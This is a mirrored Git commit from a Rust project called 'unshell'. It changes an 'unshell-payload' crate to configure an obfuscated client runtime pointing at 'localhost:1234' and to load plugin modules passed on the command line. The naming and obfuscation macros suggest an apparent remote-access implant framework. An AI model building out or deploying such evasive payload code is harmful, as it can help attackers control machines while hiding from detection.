mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-08 22:38:01 -06:00
Work on runtime system
This commit is contained in:
Generated
+7
@@ -381,6 +381,12 @@ dependencies = [
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.177"
|
||||
@@ -634,6 +640,7 @@ name = "unshell-payload"
|
||||
version = "0.0.0"
|
||||
dependencies = [
|
||||
"env_logger",
|
||||
"lazy_static",
|
||||
"libloading",
|
||||
"proc-macro2",
|
||||
"unshell-lib",
|
||||
|
||||
@@ -11,6 +11,7 @@ log_debug = ["unshell-lib/log_debug"]
|
||||
|
||||
[dependencies]
|
||||
env_logger = "0.11.8"
|
||||
lazy_static = "1.5.0"
|
||||
libloading = "0.8.9"
|
||||
proc-macro2 = "1.0.103"
|
||||
|
||||
|
||||
+22
-22
@@ -1,30 +1,30 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use lazy_static::lazy_static;
|
||||
use unshell_lib::{
|
||||
ModuleError,
|
||||
config::{PayloadConfig, RuntimeConfig},
|
||||
module::{Manager, Module},
|
||||
};
|
||||
use unshell_obfuscate::symbol;
|
||||
use unshell_obfuscate::{obs, symbol};
|
||||
|
||||
#[macro_use]
|
||||
extern crate unshell_lib;
|
||||
|
||||
static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig {
|
||||
id: symbol!("Test ID"),
|
||||
components: unshell_lib::get_components(),
|
||||
runtime_config: vec![
|
||||
RuntimeConfig {
|
||||
"client"
|
||||
}
|
||||
],
|
||||
};
|
||||
|
||||
// static RUNTIME_CONFIG: PayloadConfig = PayloadConfig {
|
||||
// id: symbol!("Test ID"),
|
||||
// components: Vec::new(),
|
||||
// };
|
||||
lazy_static! {
|
||||
static ref PAYLOAD_CONFIG: PayloadConfig = PayloadConfig {
|
||||
id: symbol!("Test ID"),
|
||||
components: unshell_lib::get_components(),
|
||||
runtime_config: vec![RuntimeConfig {
|
||||
parent_component: symbol!("client"),
|
||||
name: symbol!("client runtime"),
|
||||
config: HashMap::from([(symbol!("host"), obs!("localhost:1234"))]),
|
||||
}],
|
||||
};
|
||||
}
|
||||
|
||||
fn main() {
|
||||
#[cfg(not(feature = "obfuscate"))]
|
||||
// #[cfg(not(feature = "obfuscate"))]
|
||||
unshell_lib::logger::PrettyLogger::init();
|
||||
|
||||
debug!("Initialized");
|
||||
@@ -32,13 +32,13 @@ fn main() {
|
||||
match || -> Result<(), ModuleError> {
|
||||
let args = std::env::args();
|
||||
|
||||
// let mut modules = Vec::new();
|
||||
// for arg in args.skip(1) {
|
||||
// debug!("Loading module: {}", arg);
|
||||
// modules.push(Module::new(&arg)?)
|
||||
// }
|
||||
let mut modules = Vec::new();
|
||||
for arg in args.skip(1) {
|
||||
debug!("Loading module: {}", arg);
|
||||
modules.push(Module::new(&arg)?)
|
||||
}
|
||||
|
||||
Manager::run(&PAYLOAD_CONFIG, Vec::new());
|
||||
Manager::run(&PAYLOAD_CONFIG, modules);
|
||||
|
||||
Ok(())
|
||||
}() {
|
||||
|
||||
Reference in New Issue
Block a user